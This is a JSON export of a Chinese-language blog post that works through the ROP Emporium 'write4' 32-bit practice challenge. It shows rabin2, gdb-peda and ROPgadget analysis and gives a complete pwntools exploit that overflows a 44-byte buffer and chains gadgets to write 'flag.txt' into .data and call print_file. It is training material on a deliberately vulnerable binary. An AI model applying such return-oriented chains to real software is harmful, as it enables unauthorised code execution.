{"id":494,"date":"2021-07-07T21:18:51","date_gmt":"2021-07-07T13:18:51","guid":{"rendered":"https:\/\/blog.73007300.xyz\/?p=494"},"modified":"2021-07-07T23:16:32","modified_gmt":"2021-07-07T15:16:32","slug":"rop-emporium%e5%ad%a6%e4%b9%a0-write432","status":"publish","type":"post","link":"https:\/\/blog.73007300.xyz\/?p=494","title":{"rendered":"ROP Emporium\u5b66\u4e60 — write432"},"content":{"rendered":"

write432<\/h2>\n

\u9759\u6001\u5206\u6790<\/h3>\n
\u67e5\u770b\u4e8c\u8fdb\u5236\u6587\u4ef6\u7684\u57fa\u672c\u4fe1\u606f<\/div>\n
\n
xxxx@debian9:~\/pwn\/ropemporium$ rabin2 -I write432\narch     x86\nbaddr    0x8048000\nbinsz    6050\nbintype  elf\nbits     32\ncanary   false\nclass    ELF32\ncompiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0\ncrypto   false\nendian   little\nhavecode true\nintrp    \/lib\/ld-linux.so.2\nladdr    0x0\nlang     c\nlinenum  true\nlsyms    true\nmachine  Intel 80386\nmaxopsz  16\nminopsz  1\nnx       true\nos       linux\npcalign  0\npic      false\nrelocs   true\nrelro    partial\nrpath    .\nsanitiz  false\nstatic   false\nstripped false\nsubsys   linux\nva       true\n[0x080483f0]> afl\n0x080483f0    1 50           entry0\n0x08048423    1 4            fcn.08048423\n0x080483c0    1 6            sym.imp.__libc_start_main\n0x0804837c    3 35           sym._init\n0x08048440    1 4            sym.__x86.get_pc_thunk.bx\n0x080483e0    1 6            sym..plt.got\n0x080485b4    1 20           sym._fini\n0x08048450    4 50   -> 41   sym.deregister_tm_clones\n0x08048490    4 58   -> 54   sym.register_tm_clones\n0x080484d0    3 34   -> 31   sym.__do_global_dtors_aux\n0x08048500    1 6            entry.init0\n0x0804852a    1 25           sym.usefulFunction\n0x080483d0    1 6            sym.imp.print_file\n0x080485b0    1 2            sym.__libc_csu_fini\n0x08048550    4 93           sym.__libc_csu_init\n0x08048430    1 2            sym._dl_relocate_static_pie\n0x08048506    1 36           main\n0x080483b0    1 6            sym.imp.pwnme\n[0x080483f0]><\/code><\/pre>\n<\/div>\n
\u6267\u884c\u4e00\u4e0b\u7a0b\u5e8f<\/div>\n
\n
xxxx@debian9:~\/pwn\/ropemporium$ .\/write432\nwrite4 by ROP Emporium\nx86\n\nGo ahead and give me the input already!\n\n> AAA\nThank you!\nxxxx@debian9:~\/pwn\/ropemporium$<\/code><\/pre>\n<\/div>\n
<\/div>\n
\u52a8\u6001\u8c03\u8bd5<\/h3>\n
\u4f7f\u7528gdb\u8c03\u8bd5<\/div>\n
\n
 gdb -q .\/write432<\/code><\/pre>\n<\/div>\n
\u67e5\u770b\u7a0b\u5e8f\u5f00\u542f\u4e86\u54ea\u4e9b\u4fdd\u62a4<\/div>\n
\n
gdb-peda$ checksec\nCANARY    : disabled\nFORTIFY   : disabled\nNX        : ENABLED\nPIE       : disabled\nRELRO     : Partial\ngdb-peda$<\/code><\/pre>\n<\/div>\n
NX: ENABLED\u8bf4\u660eHeap\u91cc\u6ca1\u6709\u6267\u884c\u6743\u9650\uff0c\u65e0\u6cd5\u5728Heap\u4e0a\u6784\u9020shellcode\u6267\u884c\u3002<\/div>\n
<\/div>\n
\u52a0\u8f7d\u7a0b\u5e8f\u5230main\u7684\u4f4d\u7f6e\u505c\u4e0b<\/div>\n
\n
gdb-peda$ start<\/code><\/pre>\n<\/div>\n
\u5728read\u51fd\u6570\u5904\u505a\u65ad\u70b9<\/div>\n
\n
gdb-peda$ break *read<\/code><\/pre>\n<\/div>\n
\u968f\u4fbf\u521b\u5efa30\u4e2a\u957f\u5ea6\u7684\u5b57\u7b26<\/div>\n
\n
gdb-peda$ pattern_create 30\n'AAA%AAsAABAA$AAnAACAA-AA(AADAA'<\/code><\/pre>\n<\/div>\n
\u7ee7\u7eed\u6267\u884c<\/div>\n
\n
gdb-peda$ continue<\/code><\/pre>\n<\/div>\n
\u5728read\u51fd\u6570\u6267\u884c\u5b8c\u7684\u5730\u65b9\u505c\u4e0b<\/div>\n
\n
gdb-peda$ finish<\/code><\/pre>\n<\/div>\n
\u8f93\u5165AAA%AAsAABAA$AAnAACAA-AA(AADAA<\/div>\n
\u4e00\u8defnext \u5230ret\u4e4b\u524d\uff1a<\/div>\n
\n
gdb-peda$ next<\/code><\/pre>\n<\/div>\n
\u53ef\u4ee5\u770b\u5230\u8def\u4e0a\u5e76\u6ca1\u6709\u5bf9\u8f93\u5165\u505a\u4efb\u4f55\u6821\u9a8c\u3002<\/div>\n
\u5728 leave;ret;\u6307\u4ee4\u4e4b\u524d\uff0c\u53ef\u4ee5\u770b\u5230Heap\u7684\u5927\u5c0f\u662f40<\/div>\n
\n
[----------------------------------registers-----------------------------------]\nEAX: 0xb ('\\x0b')\nEBX: 0xf7fd2000 --> 0x1f0c\nECX: 0xfbad0087\nEDX: 0xf7fb1870 --> 0x0\nESI: 0x1\nEDI: 0xf7fb0000 --> 0x1b2db0\nEBP: 0xffffd588 --> 0xffffd598 --> 0x0\nESP: 0xffffd560 (\"AAA%AAsAABAA$AAnAACAA-AA(AADAA\\n\")\nEIP: 0xf7fd074a (<pwnme+173>:   mov    ebx,DWORD PTR [ebp-0x4])\nEFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n   0xf7fd0741 <pwnme+164>:      call   0xf7fd0540 <puts@plt>\n   0xf7fd0746 <pwnme+169>:      add    esp,0x10\n   0xf7fd0749 <pwnme+172>:      nop\n=> 0xf7fd074a <pwnme+173>:      mov    ebx,DWORD PTR [ebp-0x4]\n   0xf7fd074d <pwnme+176>:      leave\n   0xf7fd074e <pwnme+177>:      ret\n   0xf7fd074f <print_file>:     push   ebp\n   0xf7fd0750 <print_file+1>:   mov    ebp,esp\n[------------------------------------stack-------------------------------------]\n0000| 0xffffd560 (\"AAA%AAsAABAA$AAnAACAA-AA(AADAA\\n\")\n0004| 0xffffd564 (\"AAsAABAA$AAnAACAA-AA(AADAA\\n\")\n0008| 0xffffd568 (\"ABAA$AAnAACAA-AA(AADAA\\n\")\n0012| 0xffffd56c (\"$AAnAACAA-AA(AADAA\\n\")\n0016| 0xffffd570 (\"AACAA-AA(AADAA\\n\")\n0020| 0xffffd574 (\"A-AA(AADAA\\n\")\n0024| 0xffffd578 (\"(AADAA\\n\")\n0028| 0xffffd57c --> 0xa4141 ('AA\\n')\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n0xf7fd074a in pwnme () from .\/libwrite432.so\n\ngdb-peda$ p\/d $ebp-$esp\n$1 = 40<\/code><\/pre>\n<\/div>\n
\u56e0\u6b64\u9020\u51fa\u5927\u4e8e40\u4e2a\u957f\u5ea6\u7684\u5b57\u7b26\u5373\u53ef\u6ea2\u51fa\uff0c\u7531\u4e8e32\u4f4d\u7a0b\u5e8f\u89814\u5b57\u8282\u5bf9\u9f50\uff0c\u90a3\u5c31\u521b44\u4e2a\u5b57\u7b26\u3002<\/div>\n
\n
gdb-peda$ pattern_create 44\n'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0A'<\/code><\/pre>\n<\/div>\n
\u6ea2\u51fa\uff1a<\/div>\n
\n
xxxx@debian9:~\/pwn\/ropemporium$ .\/write432\nwrite4 by ROP Emporium\nx86\n\nGo ahead and give me the input already!\n\n> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0A\nThank you!\nSegmentation fault\nxxxx@debian9:~\/pwn\/ropemporium$<\/code><\/pre>\n<\/div>\n
\u5229\u7528<\/h3>\n
\u786e\u5b9a\u5229\u7528\u65b9\u6cd5<\/h5>\n
\u9898\u76ee\u7684\u610f\u601d\u4e0a\u7ed9print_file\u51fd\u6570\u4f20\u4e00\u4e2a\u53c2\u6570(flag.txt)<\/div>\n
\n
xxxx@debian9:~\/pwn\/ropemporium$ radare2  write432\n -- Everybody hates warnings. Mr. Pancake, tear down this -Wall\n[0x080483f0]> aaa\n[x] Analyze all flags starting with sym. and entry0 (aa)\n[x] Analyze function calls (aac)\n[x] Analyze len bytes of instructions for references (aar)\n[x] Finding and parsing C++ vtables (avrr)\n[x] Type matching analysis for all functions (aaft)\n[x] Propagate noreturn information (aanr)\n[x] Use -AA or aaaa to perform additional experimental analysis.\n[0x080483f0]> afl\n0x080483f0    1 50           entry0\n0x08048423    1 4            fcn.08048423\n0x080483c0    1 6            sym.imp.__libc_start_main\n0x0804837c    3 35           sym._init\n0x08048440    1 4            sym.__x86.get_pc_thunk.bx\n0x080483e0    1 6            sym..plt.got\n0x080485b4    1 20           sym._fini\n0x08048450    4 50   -> 41   sym.deregister_tm_clones\n0x08048490    4 58   -> 54   sym.register_tm_clones\n0x080484d0    3 34   -> 31   sym.__do_global_dtors_aux\n0x08048500    1 6            entry.init0\n0x0804852a    1 25           sym.usefulFunction\n0x080483d0    1 6            sym.imp.print_file\n0x080485b0    1 2            sym.__libc_csu_fini\n0x08048550    4 93           sym.__libc_csu_init\n0x08048430    1 2            sym._dl_relocate_static_pie\n0x08048506    1 36           main\n0x080483b0    1 6            sym.imp.pwnme\n[0x080483f0]><\/code><\/pre>\n<\/div>\n
\u6574\u4e2aPE\u6587\u4ef6\u90fd\u6ca1\u6709flag\u5b57\u7b26<\/div>\n
\n
[0x080483f0]> axt @@ str.*\n\n[0x080483f0]> izz<\/code><\/pre>\n<\/div>\n
\u9700\u8981\u6784\u9020\u7136\u540e\u653e\u5230\u5185\u5b58\u4e2d\u7684data\u533a\u57df\u5185\u3002<\/div>\n
<\/div>\n
\u627e\u5199\u5185\u5b58\u7684gadget<\/h5>\n
\n
$ ROPgadget --binary write432 --only 'pop|mov|ret'\nGadgets information\n============================================================\n...\n0x08048543 : mov dword ptr [edi], ebp ; ret<\/code><\/pre>\n<\/div>\n
\u7528\u4e8e\u628a\u5bc4\u5b58\u5668\u7684\u503c\u5199\u9053\u5185\u5b58\u91cc \u540e\u9762\u53ea\u8981\u5173\u6ce8\u600e\u4e48\u8ba9edi\u6307\u5411.data\u533a\u57df\u5c31\u884c\u4e86<\/div>\n
<\/div>\n
\n
$ ROPgadget --binary write432 --only 'pop|mov|ret'\nGadgets information\n============================================================\n...\n0x080485aa : pop edi ; pop ebp ; ret<\/code><\/pre>\n<\/div>\n
\u8fd9\u4e2a\u6307\u4ee4\u53ef\u4ee5\u4fee\u6539edi\u503c\u5730\u5740\uff0c\u4f7f\u5176\u6307\u5411\u4efb\u4f55\u53ef\u5199\u7684\u5185\u5b58\u533a\u57df\uff0c\u7528\u4e8e\u6784\u9020\u201cflag.txt\u201d<\/div>\n
<\/div>\n
\u67e5\u627e\u54ea\u4e2a\u533a\u57df\u53ef\u4ee5\u5199\uff1a<\/div>\n
\n
$ readelf -a .\/write432\n...\n  [19] .init_array       INIT_ARRAY      08049efc 000efc 000004 04  WA  0   0  4\n  [20] .fini_array       FINI_ARRAY      08049f00 000f00 000004 04  WA  0   0  4\n  [21] .dynamic          DYNAMIC         08049f04 000f04 0000f8 08  WA  6   0  4\n  [22] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4\n  [23] .got.plt          PROGBITS        0804a000 001000 000018 04  WA  0   0  4\n  [24] .data             PROGBITS        0804a018 001018 000008 00  WA  0   0  4<\/code><\/pre>\n<\/div>\n
<\/div>\n
data\u533a\u57df\u53ef\u5199\uff0c\u800c\u4e14\u91cc\u9762\u662f\u7a7a\u7684\uff1a<\/div>\n
\n
$ readelf -x .data .\/write432\nHex dump of section '.data':\n  0x0804a018 00000000 00000000                   ........<\/code><\/pre>\n<\/div>\n
<\/div>\n
\u538b\u5165\u6210\u529f\u540e\u4f1a\u5728.data\u533a\u57df\u5199\u5165 flag.txt \u5b57\u7b26<\/div>\n
\n
[----------------------------------registers-----------------------------------]\nEAX: 0xb ('\\x0b')\nEBX: 0x41414141 ('AAAA')\nECX: 0xfbad0087\nEDX: 0xf7fb1870 --> 0x0\nESI: 0x1\nEDI: 0x804a01c (\".txt\")\nEBP: 0x7478742e ('.txt')\nESP: 0xffffd5ac --> 0x80483d0 (<print_file@plt>:        jmp    DWORD PTR ds:0x804a014)\nEIP: 0x8048545 (<usefulGadgets+2>:      ret)\nEFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n   0x8048541 <usefulFunction+23>:       leave\n   0x8048542 <usefulFunction+24>:       ret\n   0x8048543 <usefulGadgets>:   mov    DWORD PTR [edi],ebp\n=> 0x8048545 <usefulGadgets+2>: ret\n   0x8048546 <usefulGadgets+3>: xchg   ax,ax\n   0x8048548 <usefulGadgets+5>: xchg   ax,ax\n   0x804854a <usefulGadgets+7>: xchg   ax,ax\n   0x804854c <usefulGadgets+9>: xchg   ax,ax\n[------------------------------------stack-------------------------------------]\n0000| 0xffffd5ac --> 0x80483d0 (<print_file@plt>:       jmp    DWORD PTR ds:0x804a014)\n0004| 0xffffd5b0 --> 0x804a018 (\"flag.txt\")\n0008| 0xffffd5b4 --> 0xffffd644 --> 0xffffd77d (\"\/home\/xxxx\/pwn\/ropemporium\/write432\")\n0012| 0xffffd5b8 --> 0xffffd64c --> 0xffffd7a1 (\"LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc\"...)\n0016| 0xffffd5bc --> 0x0\n0020| 0xffffd5c0 --> 0x0\n0024| 0xffffd5c4 --> 0x0\n0028| 0xffffd5c8 --> 0xf7fb0000 --> 0x1b2db0\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n0x08048545 in usefulGadgets ()\ngdb-peda$ x\/10s 0x0804a018\n0x804a018:      \"flag.txt\"\n0x804a021:      \"\"\n0x804a022:      \"\"\n0x804a023:      \"\"\n0x804a024:      \"\"\n0x804a025:      \"\"\n0x804a026:      \"\"\n0x804a027:      \"\"\n0x804a028:      \"\"\n0x804a029:      \"\"\ngdb-peda$ next\n<\/code><\/pre>\n<\/div>\n
<\/div>\n
\u7531\u4e8eprint_file\u4e2d\u662f\u4eceebp+0x8 \u4f20\u7684\u53c2\u6570\u7ed9fopen\uff0c \u56e0\u6b64flag.txt\u4e4b\u524d\u8fd8\u8981\u52a04\u4e2a\u5b57\u7b26<\/div>\n
\n
   0xf7fd0772 <print_file+35>:  push   DWORD PTR [ebp+0x8]\n=> 0xf7fd0775 <print_file+38>:  call   0xf7fd0570 <fopen@plt><\/code><\/pre>\n<\/div>\n
<\/div>\n
python3 \u5229\u7528\u811a\u672c<\/div>\n
\n
from pwn import *\n\ndef convertASCII_to_Hex(value):\n\tres = \"\"\n\tfor i in value:\n\t\tres += hex(ord(i))[2:]\n\treturn res      \n\ndef changeEndian(value):\n\tlength = len(value)\n\tres = \"0x\"\n\tfor i in range(length-1, 0, -2):\n\t\tres += value[i-1]+ value[i]\n\treturn res      \n\ndef generateString(value):\n\treturn int(changeEndian(convertASCII_to_Hex(value)), 16)\n\n\n#Prepare the payload\njunk = b\"A\"*44\n\npop_edi_ebp = p32(0x080485aa)\ndata_addr_1 = p32(0x0804a018) \nstring1 = p32(generateString(\"flag\"))  \n\nmove_edi_epb = p32(0x08048543)\n\npop_edi_ebp = p32(0x080485aa)\ndata_addr_2 = p32(0x0804a018 + 4) \nstring2 = p32(generateString(\".txt\"))  \n\nprint_file = p32(0x080483d0)\n\npayload = junk\n\npayload += pop_edi_ebp\npayload += data_addr_1\npayload += string1\npayload += move_edi_epb\n\npayload += pop_edi_ebp\npayload += data_addr_2\npayload += string2\npayload += move_edi_epb\n\npayload += print_file\npayload += b\"BBBB\"\npayload += data_addr_1\n\n#sys.stdout.buffer.write(payload)\n\n# Send the payload\nelf = ELF('write432')                 #context.binary\np = process(elf.path)\n\np.sendline(payload)                 #send the payload to the process\n\np.interactive()<\/code><\/pre>\n<\/div>\n
<\/div>\n
\u53c2\u8003\uff1a<\/div>\n
radare2\u7684\u4f7f\u7528<\/a><\/div>\n
PWN\u6559\u7a0b<\/a><\/div>\n
write4\u5229\u7528<\/a><\/span><\/div>\n
write4 \u9898\u76ee<\/a><\/div>\n","protected":false},"excerpt":{"rendered":"
write432 \u9759\u6001\u5206\u6790 \u67e5\u770b\u4e8c\u8fdb\u5236\u6587\u4ef6\u7684\u57fa\u672c\u4fe1\u606f xxxx@debian9:~\/pwn\/ropemporium$ rabin2 -I write432 arch x86 baddr 0x8048000 binsz 6050 bintype elf bits 32 canary false class ELF32 compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0 crypto false endian little havecode true intrp \/lib\/ld-linux.so.2 laddr 0x0 lang c linenum true lsyms true machine Intel 80386 maxopsz 16 minopsz 1 nx true os linux pcalign 0 […]<\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12,2],"tags":[],"_links":{"self":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/494"}],"collection":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=494"}],"version-history":[{"count":4,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/494\/revisions"}],"predecessor-version":[{"id":498,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/494\/revisions\/498"}],"wp:attachment":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=494"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=494"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=494"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}